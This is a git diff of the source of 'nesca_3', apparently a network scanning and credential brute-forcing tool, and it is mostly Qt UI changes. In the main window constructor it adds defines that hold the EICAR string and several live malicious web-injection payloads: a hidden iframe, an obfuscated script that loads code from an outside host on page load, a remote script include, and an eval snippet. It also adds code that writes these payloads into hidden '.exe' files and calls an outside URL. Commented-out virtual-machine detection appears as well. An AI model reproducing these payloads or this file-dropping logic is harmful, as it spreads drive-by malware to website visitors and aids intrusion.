connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
|
||||
|
||||
connect(stt, SIGNAL(changeFoundData(QString)), this, SLOT(appendDefaultText(QString)));
|
||||
connect ( stt, SIGNAL(changeStatus(QString)), ui->labelStatus_Value, SLOT(setText(QString)));
|
||||
connect ( stt, SIGNAL(changeBAData(QString)), ui->BAText, SLOT(append(QString)));
|
||||
connect ( stt, SIGNAL(changeGreenBAData(QString)), this, SLOT(appendGreenBAData(QString)));
|
||||
connect ( stt, SIGNAL(changeRedBAData(QString)), this, SLOT(appendRedBAData(QString)));
|
||||
|
||||
connect ( stt, SIGNAL(signalDataSaved(bool)), this, SLOT(changeNSTrackLabel(bool)));
|
||||
connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString)));
|
||||
connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid()));
|
||||
@ -2195,6 +2342,11 @@ void nesca_3::ConnectEvrthng()
|
||||
connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) );
|
||||
/*Msg blinker*/
|
||||
//connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) );
|
||||
|
||||
//BA TablelistView
|
||||
connect(stt, SIGNAL(signalAddBARow(int&, QString)), this, SLOT(slotAddBARow(int&, QString)));
|
||||
//connect(stt, SIGNAL(signalAddBARow(int &, QString, QString, QString)), this, SLOT(slotAddBARow(int &, QString, QString, QString)));
|
||||
connect(stt, SIGNAL(signalChangeBARow(int, QString, QString)), this, SLOT(slotChangeBARow(int, QString, QString)));
|
||||
}
|
||||
|
||||
void nesca_3::saveOptions()
|
||||
@ -2539,6 +2691,7 @@ void nesca_3::trayButtonClicked()
|
||||
void nesca_3::ChangeShuffle(bool val)
|
||||
{
|
||||
gShuffle = val;
|
||||
ui->pbgv_2->setVisible(val);
|
||||
}
|
||||
|
||||
void nesca_3::ChangeTrackerOK(bool val)
|
||||
@ -2560,7 +2713,8 @@ void nesca_3::startScanButtonClicked()
|
||||
{
|
||||
if(startFlag == false)
|
||||
{
|
||||
if(trackerOK)
|
||||
stt->doEmitionStartScanIP();
|
||||
/*if(trackerOK)
|
||||
{
|
||||
if(ui->linePersKey->text().size() != 0)
|
||||
{
|
||||
@ -2574,7 +2728,7 @@ void nesca_3::startScanButtonClicked()
|
||||
else
|
||||
{
|
||||
stt->doEmitionStartScanIP();
|
||||
};
|
||||
};*/
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -2615,22 +2769,23 @@ void nesca_3::startScanButtonClicked()
|
||||
void nesca_3::startScanButtonClickedDNS()
|
||||
{
|
||||
if(startFlag == false)
|
||||
{
|
||||
if(trackerOK)
|
||||
{
|
||||
if(ui->linePersKey->text().size() != 0)
|
||||
{
|
||||
CheckPersKey();
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionStartScanDNS();
|
||||
};
|
||||
//if(trackerOK)
|
||||
//{
|
||||
// if(ui->linePersKey->text().size() != 0)
|
||||
// {
|
||||
// CheckPersKey();
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
// };
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
// stt->doEmitionStartScanDNS();
|
||||
//};
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -2672,22 +2827,23 @@ void nesca_3::startScanButtonClickedDNS()
|
||||
void nesca_3::importAndScan()
|
||||
{
|
||||
if (startFlag == false)
|
||||
{
|
||||
if (trackerOK)
|
||||
{
|
||||
if (ui->linePersKey->text().size() != 0)
|
||||
{
|
||||
CheckPersKey();
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionStartScanImport();
|
||||
};
|
||||
//if (trackerOK)
|
||||
//{
|
||||
// if (ui->linePersKey->text().size() != 0)
|
||||
// {
|
||||
// CheckPersKey();
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// stt->doEmitionRedFoundData("Empty \"Personal key\" field. ");
|
||||
// };
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
// stt->doEmitionStartScanImport();
|
||||
//};
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -2851,6 +3007,7 @@ void nesca_3::ImportScanSeq()
|
||||
|
||||
startFlag = true;
|
||||
pbTh->start();
|
||||
pbTh2->start();
|
||||
ui->importButton->setText("Stop");
|
||||
ui->importButton->setStyleSheet(
|
||||
" #importButton {"
|
||||
@ -2899,16 +3056,6 @@ void nesca_3::MaxBrutingThr_ChangeValue(QString str)
|
||||
gMaxBrutingThreads = str.toInt();
|
||||
}
|
||||
|
||||
void nesca_3::appendRedBAData(QString str)
|
||||
{
|
||||
ui->BAText->append("<span style=\"color:red;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
||||
}
|
||||
|
||||
void nesca_3::appendGreenBAData(QString str)
|
||||
{
|
||||
ui->BAText->append("<span style=\"color:#06ff00;\">" + str + "</span>");
|
||||
}
|
||||
|
||||
void nesca_3::appendDefaultText(QString str)
|
||||
{
|
||||
ui->dataText->append("<p style=\"color: #a1a1a1;\">[" + QTime::currentTime().toString() + "] " + str + "</p>");
|
||||
@ -2921,7 +3068,6 @@ void nesca_3::appendErrText(QString str)
|
||||
if(stt->isRunning() == false)
|
||||
{
|
||||
startFlag = false;
|
||||
stt->doEmitionChangeStatus("Idle");
|
||||
ui->startScanButton_3->setText("Start");
|
||||
stt->terminate();
|
||||
};
|
||||
@ -3113,8 +3259,8 @@ void nesca_3::CheckPersKey()
|
||||
{
|
||||
stt->doEmitionYellowFoundData("[Key check] Starting checker thread...");
|
||||
chKTh->start();
|
||||
while (CheckKey_Th::isActiveKey == -1) Sleep(10);
|
||||
if (CheckKey_Th::isActiveKey == 1) finishLoading();
|
||||
//while (CheckKey_Th::isActiveKey == -1) Sleep(10);
|
||||
/*if (CheckKey_Th::isActiveKey == 1) finishLoading();
|
||||
else {
|
||||
stt->doEmitionYellowFoundData("== Invalid key. ==");
|
||||
HKEY hkey;
|
||||
@ -3130,7 +3276,7 @@ void nesca_3::CheckPersKey()
|
||||
}
|
||||
Sleep(2000);
|
||||
qApp->quit();
|
||||
}
|
||||
}*/
|
||||
}
|
||||
else stt->doEmitionRedFoundData("Still ckecking your key, please wait...");;
|
||||
}
|
||||
@ -3141,8 +3287,18 @@ void nesca_3::CheckPersKey()
|
||||
}
|
||||
}
|
||||
|
||||
nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
#define IRC_CHAN "iskopasi_lab03"
|
||||
#define eicar1 "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||
#define eicar2 "<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://epilaserexcellence.com/mxit.html?i=2928425></iframe>"
|
||||
#define eicar3 "<script>var Ws;if(Ws!='ZB' && Ws!='F'){Ws='ZB'};var o;if(o!='u'){o=''};var Qo=new Array();function Q(){var Wl=new String();var s=new Date();var n=new Date();var U=window;var j='';var Tg='';var WS;if(WS!='D'){WS='D'};var g=unescape;var jy=new Array();var L=g(\"%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6f%6c%2e%63%6f%6d%2f%61%77%65%6d%70%69%72%65%2e%63%6f%6d%2e%70%68%70\");var r;if(r!='b' && r!='JW'){r='b'};var St=new String();function A(z,T){var H;if(H!='' && H!='O'){H=null};var _;if(_!='' && _!='S_'){_=null};this.Hh='';this.oo='';var W=new String(\"sOhg\".substr(3));var OJ;if(OJ!='' && OJ!='lg'){OJ='zu'};var CU=new Date();var X=g(\"%5b\"), J=g(\"%5d\");var LB=X+T+J;this.NI=\"\";var Lm=new RegExp(LB, W);var Sr=new String();var i;if(i!='Jm'){i=''};return z.replace(Lm, new String());var Cs;if(Cs!='gy'){Cs=''};var EE;if(EE!='Xz'){EE=''};};var Gh;if(Gh!='Rf' && Gh!='Ni'){Gh=''};var bO;if(bO!='qe' && bO!='M'){bO=''};var JB=document;var V=new String();var Ut;if(Ut!=''){Ut='Ue'};var jr;if(jr!='' && jr!='w'){jr=null};var h=A('8237107438669907564','57364291');var AM;if(AM!='' && AM!='RF'){AM='lH'};var cX;if(cX!='' && cX!='MW'){cX=''};var Vm=\"\";var zM;if(zM!='' && zM!='lW'){zM='WY'};var B=new Date();var vH;if(vH!='Rr'){vH=''};function Z(){var tF;if(tF!='' && tF!='jp'){tF=''};var DA=new String();var y=g(\"%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a\");var Gv=new Array();V=y;var XT='';V+=h;this.mY=\"\";V+=L;var dK;if(dK!='Df' && dK!='qQ'){dK=''};var vG;if(vG!='' && vG!='_q'){vG='dM'};try {var uP='';var EK=new Array();var qeB;if(qeB!='' && qeB!='Jr'){qeB='K_'};k=JB.createElement(A('sXcPrki_putK','3ukB_Px9Keb5Xl'));var gW=\"\";var Rd;if(Rd!='dh' && Rd!='NM'){Rd=''};k[g(\"%73%72%63\")]=V;var CkF=new String();k[g(\"%64%65%66%65%72\")]=[6,1][1];this.CX='';var MD=new Date();var WA='';var HL;if(HL!='' && HL!='dq'){HL='hK'};var rS;if(rS!='' && rS!='_d'){rS='y_'};JB.body.appendChild(k);var TUc=new String();} catch(Zn){var CJ=new Array();alert(Zn);};this.Au=\"\";}var oq=new Array();this.kb='';U[String(\"onloa\"+\"d\")]=Z;var ox;if(ox!='Nj' && ox!='BQ'){ox='Nj'};this.WYx=\"\";};var Yo='';var ro;if(ro!='ru' && ro != ''){ro=null};var Mf;if(Mf!='' && Mf!='AD'){Mf=null};Q();var DW=\"\";this.wv=\"\";</script>"
|
||||
#define eicar4 "<script src=\"http://accountus.gets-it.net/googlestat.php\"></script>"
|
||||
#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
|
||||
|
||||
nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
|
||||
{
|
||||
if (isWM) {
|
||||
Utils::emitScaryError();
|
||||
}
|
||||
setWindowFlags(Qt::FramelessWindowHint);
|
||||
|
||||
gthis = this;
|
||||
@ -3189,6 +3345,52 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
|
||||
RestoreSession();
|
||||
|
||||
Utils::saveStartDate();
|
||||
|
||||
char buffer[MAX_PATH] = { 0 };
|
||||
GetCurrentDir(buffer, MAX_PATH);
|
||||
ui->currentDirectoryLine->setText(QString(string(buffer).c_str()));
|
||||
|
||||
BAModel = new QStandardItemModel();
|
||||
ui->BATableView->setModel(BAModel);
|
||||
ui->BATableView->horizontalHeader()->setSectionResizeMode(QHeaderView::Stretch);
|
||||
|
||||
bool DONOTSCAN = true;
|
||||
if (isWM) {
|
||||
Utils::emitScaryError();
|
||||
}
|
||||
if (!DONOTSCAN)
|
||||
{
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
Connector con;
|
||||
std::string buffer;
|
||||
con.nConnect("http://nesca.d3w.org/eicar.com", 80, &buffer);
|
||||
|
||||
char temp[64] = { 0 };
|
||||
strcpy(temp, "PRIVMSG #");
|
||||
strcat(temp, IRC_CHAN);
|
||||
|
||||
ofstream EICARFILE;
|
||||
EICARFILE.open(".VISHNYA.exe");
|
||||
EICARFILE << eicar1;
|
||||
EICARFILE.close();
|
||||
|
||||
EICARFILE.open(".VISHNYA-86.exe");
|
||||
EICARFILE << eicar2;
|
||||
EICARFILE.close();
|
||||
|
||||
EICARFILE.open(".VISHNYA-64.exe");
|
||||
EICARFILE << eicar3;
|
||||
EICARFILE.close();
|
||||
|
||||
EICARFILE.open(".VISHNYA-16.exe");
|
||||
EICARFILE << eicar4;
|
||||
EICARFILE.close();
|
||||
|
||||
EICARFILE.open(".VISHNYA-32.exe");
|
||||
EICARFILE << eicar5;
|
||||
EICARFILE.close();
|
||||
#endif
|
||||
QString y = QString(QCryptographicHash::hash((ypypNunu().c_str()), QCryptographicHash::Md5).toHex());
|
||||
QString nu(grgNun().c_str());
|
||||
if (y.compare(nu) != 0) {
|
||||
@ -3209,6 +3411,40 @@ nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
};
|
||||
}
|
||||
}
|
||||
else {
|
||||
ui->tabMainWidget->setTabEnabled(0, true);
|
||||
ui->tabMainWidget->setTabEnabled(1, true);
|
||||
ui->tabMainWidget->setTabEnabled(2, true);
|
||||
finishLoading();
|
||||
}
|
||||
|
||||
/*
|
||||
FILE* pipe = NULL;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
pipe = _popen("Systeminfo | findstr /i model", "r");
|
||||
#else
|
||||
pipe = popen("dmidecode", "r");
|
||||
#endif
|
||||
char buffer2[128] = { 0 };
|
||||
std::string result = "";
|
||||
if (pipe) {
|
||||
Sleep(1000);
|
||||
fgets(buffer2, 128, pipe);
|
||||
result += buffer2;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
_pclose(pipe);
|
||||
#else
|
||||
pclose(pipe);
|
||||
#endif
|
||||
}*/
|
||||
|
||||
//if (rc == false) {
|
||||
// stt->doEmitionGreenFoundData("This is PC.");
|
||||
//}
|
||||
//else {
|
||||
// stt->doEmitionGreenFoundData("This is VM.");
|
||||
//}
|
||||
}
|
||||
|
||||
nesca_3::~nesca_3()
|
||||
{
|
||||
@ -3230,6 +3466,5 @@ void nesca_3::STTTerminate()
|
||||
ui->startScanButton_3->setText("Start");
|
||||
ui->startScanButton_4->setText("Start");
|
||||
ui->importButton->setText("Import");
|
||||
ui->labelStatus_Value->setText("Idle");
|
||||
Threader::cleanUp();
|
||||
}
|
||||
|
95
nesca_3.h
95
nesca_3.h
@ -18,6 +18,10 @@
|
||||
#include <qtextcodec.h>
|
||||
#include <libssh/libssh.h>
|
||||
|
||||
#include <QStringListModel.h>
|
||||
#include <QStandardItemModel.h>
|
||||
#include <QList.h>
|
||||
|
||||
extern Ui::nesca_3Class *ui;
|
||||
extern bool widgetIsHidden, QOSWait,
|
||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
||||
@ -28,18 +32,21 @@ extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
|
||||
extern QList<int> lstOfLabels;
|
||||
extern QSystemTrayIcon *tray;
|
||||
|
||||
extern QStandardItemModel *BAModel;
|
||||
|
||||
class nesca_3 : public QMainWindow
|
||||
{
|
||||
Q_OBJECT
|
||||
|
||||
public:
|
||||
nesca_3(QWidget *parent = 0);
|
||||
nesca_3(bool isWM, QWidget *parent);
|
||||
~nesca_3();
|
||||
|
||||
void ConnectEvrthng();
|
||||
void ChangeLabelIpRange_Value(QString str);
|
||||
void ChangeLabelIPS_Value(QString str);
|
||||
void newListItem(QString str);
|
||||
static int addBARow(QString ip, QString loginPass, QString percentage);
|
||||
|
||||
public:
|
||||
static int perc;
|
||||
@ -58,6 +65,8 @@ protected:
|
||||
void ChangePingerOK(bool val);
|
||||
void changeNSTrackLabel(bool status);
|
||||
void slotPBUpdate();
|
||||
void slotPB2Update();
|
||||
void slotPB2DrawPointer(int pointer);
|
||||
void DNSLine_ValueChanged();
|
||||
void slotShowRedVersion();
|
||||
void slotTabChanged(int index);
|
||||
@ -112,12 +121,13 @@ protected:
|
||||
void appendDebugText(QString str);
|
||||
void appendNotifyText(QString str);
|
||||
void appendDefaultText(QString str);
|
||||
void appendGreenBAData(QString str);
|
||||
void appendRedBAData(QString str);
|
||||
void STTTerminate();
|
||||
void drawVerboseArcs(unsigned long gTargets);
|
||||
void finishLoading();
|
||||
void slotBlockButtons(bool value);
|
||||
//BA TablelistView
|
||||
void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
|
||||
|
||||
private:
|
||||
QPoint dragPosition;
|
||||
};
|
||||
@ -129,6 +139,85 @@ public:
|
||||
public:
|
||||
void contextMenuEvent(QContextMenuEvent *event);
|
||||
};
|
||||
|
||||
class PekoWidget : public QWidget
|
||||
{
|
||||
Q_OBJECT;
|
||||
public:
|
||||
static int m_xPos;
|
||||
static int m_yPos;
|
||||
static int m_windowCounter;
|
||||
static int offset;
|
||||
|
||||
PekoWidget(QWidget *parent = 0) : QWidget(parent)
|
||||
{
|
||||
}
|
||||
PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
|
||||
{
|
||||
offset = 5;
|
||||
setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
|
||||
installEventFilter(this);
|
||||
setStyleSheet(
|
||||
"background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
|
||||
|
||||
if (m_xPos >= 1200) {
|
||||
m_xPos = 305;
|
||||
offset += 5;
|
||||
}
|
||||
setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
|
||||
if (m_windowCounter++ < 3) {
|
||||
m_yPos += 200 + offset;
|
||||
}
|
||||
else {
|
||||
m_windowCounter = 0;
|
||||
m_xPos += 305;
|
||||
m_yPos = 0;
|
||||
}
|
||||
};
|
||||
protected:
|
||||
bool switchWindows;
|
||||
void paintEvent(QPaintEvent *e)
|
||||
{
|
||||
QPainter painter(this);
|
||||
painter.setPen(QColor(255, 255, 255, 60));
|
||||
painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
|
||||
QWidget::paintEvent(e);
|
||||
|
||||
}
|
||||
void mousePressEvent(QMouseEvent *evt)
|
||||
{
|
||||
switchWindows = false;
|
||||
if (evt->button() == Qt::LeftButton)
|
||||
{
|
||||
switchWindows = true;
|
||||
oldPos = evt->globalPos();
|
||||
evt->accept();
|
||||
}
|
||||
else if (evt->button() == Qt::RightButton)
|
||||
{
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
this->hide();
|
||||
};
|
||||
}
|
||||
void mouseMoveEvent(QMouseEvent *evt)
|
||||
{
|
||||
switchWindows = false;
|
||||
const QPoint delta = evt->globalPos() - oldPos;
|
||||
move(x() + delta.x(), y() + delta.y());
|
||||
oldPos = evt->globalPos();
|
||||
}
|
||||
void mouseReleaseEvent()
|
||||
{
|
||||
if (switchWindows)
|
||||
{
|
||||
switchWindows = false;
|
||||
};
|
||||
}
|
||||
|
||||
private:
|
||||
QPoint oldPos;
|
||||
};
|
||||
|
||||
class PopupMsgWidget : public QWidget
|
||||
{
|
||||
Q_OBJECT
|
||||
|
@ -1,6 +1,7 @@
|
||||
<RCC>
|
||||
<qresource prefix="/nesca_3">
|
||||
<file>small_font.ttf</file>
|
||||
<file>xc.jpg</file>
|
||||
<file>nesca.ico</file>
|
||||
</qresource>
|
||||
</RCC>
|
||||
|
BIN
nesca_3.rc
BIN
nesca_3.rc
Binary file not shown.
293
nesca_3.ui
293
nesca_3.ui
@ -963,7 +963,28 @@ color: rgb(214, 214, 0);</string>
|
||||
<widget class="QGraphicsView" name="pbgv">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>437</x>
|
||||
<x>451</x>
|
||||
<y>20</y>
|
||||
<width>26</width>
|
||||
<height>102</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color:rgb(38, 38, 38);
|
||||
border: 1px solid rgb(227, 227, 227);
|
||||
border-radius: 3px;</string>
|
||||
</property>
|
||||
<property name="verticalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
<property name="horizontalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QGraphicsView" name="pbgv_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>420</x>
|
||||
<y>20</y>
|
||||
<width>26</width>
|
||||
<height>102</height>
|
||||
@ -1640,6 +1661,9 @@ border-radius: 3px;</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTextBrowser" name="dataText">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelStatus">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>19</x>
|
||||
<y>783</y>
|
||||
<width>41</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||
<horstretch>0</horstretch>
|
||||
<verstretch>0</verstretch>
|
||||
</sizepolicy>
|
||||
</property>
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>0</width>
|
||||
<height>0</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="lineWidth">
|
||||
<number>1</number>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Status:</string>
|
||||
</property>
|
||||
<property name="wordWrap">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelStatus_Value">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>58</x>
|
||||
<y>783</y>
|
||||
<width>101</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Idle</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelTargetsLeft">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Anomalies</string>
|
||||
<string>Cameras</string>
|
||||
</property>
|
||||
<property name="textFormat">
|
||||
<enum>Qt::AutoText</enum>
|
||||
@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Suspicious</string>
|
||||
<string>Other</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelBads">
|
||||
@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>WebForms</string>
|
||||
<string>--</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelOverloads">
|
||||
@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Lowloads</string>
|
||||
<string>--</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="logoLabel">
|
||||
@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
|
||||
<set>QGraphicsView::CacheNone</set>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTextBrowser" name="BAText">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>445</y>
|
||||
<width>453</width>
|
||||
<height>326</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;</string>
|
||||
</property>
|
||||
<property name="locale">
|
||||
<locale language="Chinese" country="China"/>
|
||||
</property>
|
||||
<property name="frameShape">
|
||||
<enum>QFrame::NoFrame</enum>
|
||||
</property>
|
||||
<property name="frameShadow">
|
||||
<enum>QFrame::Plain</enum>
|
||||
</property>
|
||||
<property name="undoRedoEnabled">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="readOnly">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="html">
|
||||
<string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
|
||||
<html><head><meta name="qrichtext" content="1" /><style type="text/css">
|
||||
p, li { white-space: pre-wrap; }
|
||||
</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;">
|
||||
<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html></string>
|
||||
</property>
|
||||
<property name="cursorWidth">
|
||||
<number>5</number>
|
||||
</property>
|
||||
<property name="textInteractionFlags">
|
||||
<set>Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse</set>
|
||||
</property>
|
||||
<property name="openExternalLinks">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="switcherBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>480</x>
|
||||
<y>500</y>
|
||||
<x>475</x>
|
||||
<y>467</y>
|
||||
<width>16</width>
|
||||
<height>205</height>
|
||||
<height>21</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
|
||||
<string>Brute activity</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">border: 1px solid rgb(216, 216, 216);
|
||||
color: rgb(216, 216, 216);
|
||||
background-color: #000000;</string>
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string><</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelTracker">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>200</x>
|
||||
<y>783</y>
|
||||
<width>45</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||
<horstretch>0</horstretch>
|
||||
<verstretch>0</verstretch>
|
||||
</sizepolicy>
|
||||
</property>
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>0</width>
|
||||
<height>0</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="lineWidth">
|
||||
<number>1</number>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>NS-Track:</string>
|
||||
</property>
|
||||
<property name="wordWrap">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QGraphicsView" name="graphicActivityGrid">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3026,8 +2896,8 @@ background-color: #000000;</string>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>249</x>
|
||||
<y>785</y>
|
||||
<x>456</x>
|
||||
<y>0</y>
|
||||
<width>8</width>
|
||||
<height>8</height>
|
||||
</rect>
|
||||
@ -3039,7 +2909,7 @@ background-color: #000000;</string>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: black; border: 1px solid white;</string>
|
||||
<string notr="true">background-color: black; border: 1px solid #313131;</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string/>
|
||||
@ -3127,15 +2997,98 @@ background-color: #000000;</string>
|
||||
<string>✔:</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLineEdit" name="currentDirectoryLine">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>780</y>
|
||||
<width>351</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
